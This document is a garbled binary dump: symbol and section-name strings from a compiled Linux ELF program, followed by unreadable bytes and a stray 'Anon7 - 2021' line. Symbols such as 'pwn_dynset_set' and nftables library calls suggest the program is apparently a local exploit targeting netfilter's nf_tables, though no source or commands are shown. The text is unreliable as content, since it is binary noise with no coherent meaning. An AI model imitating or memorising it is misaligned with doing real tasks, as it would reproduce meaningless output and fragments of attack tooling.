l_expr_get_str@LIBNFTNL_11nftnl_expr_iter_destroy@LIBNFTNL_11nftnl_obj_get_data@LIBNFTNL_15hex_dump__cxa_finalize@GLIBC_2.2.5_initmnl_batch_buffercfg_nft_counter_opsusleep@GLIBC_2.2.5pwn_dynset_setsocket@GLIBC_2.2.5.symtab.strtab.shstrtab.interp.note.gnu.property.note.gnu.build-id.note.ABI-tag.gnu.hash.dynsym.dynstr.gnu.version.gnu.version_r.rela.dyn.rela.plt.init.plt.got.text.fini.rodata.eh_frame_hdr.eh_frame.init_array.fini_array.dynamic.got.plt.data.bss.comment#88 6XX$I|| Wo(a`i((qo~ohB00 0 08888Y	@@(  08<	

Anon7 - 2021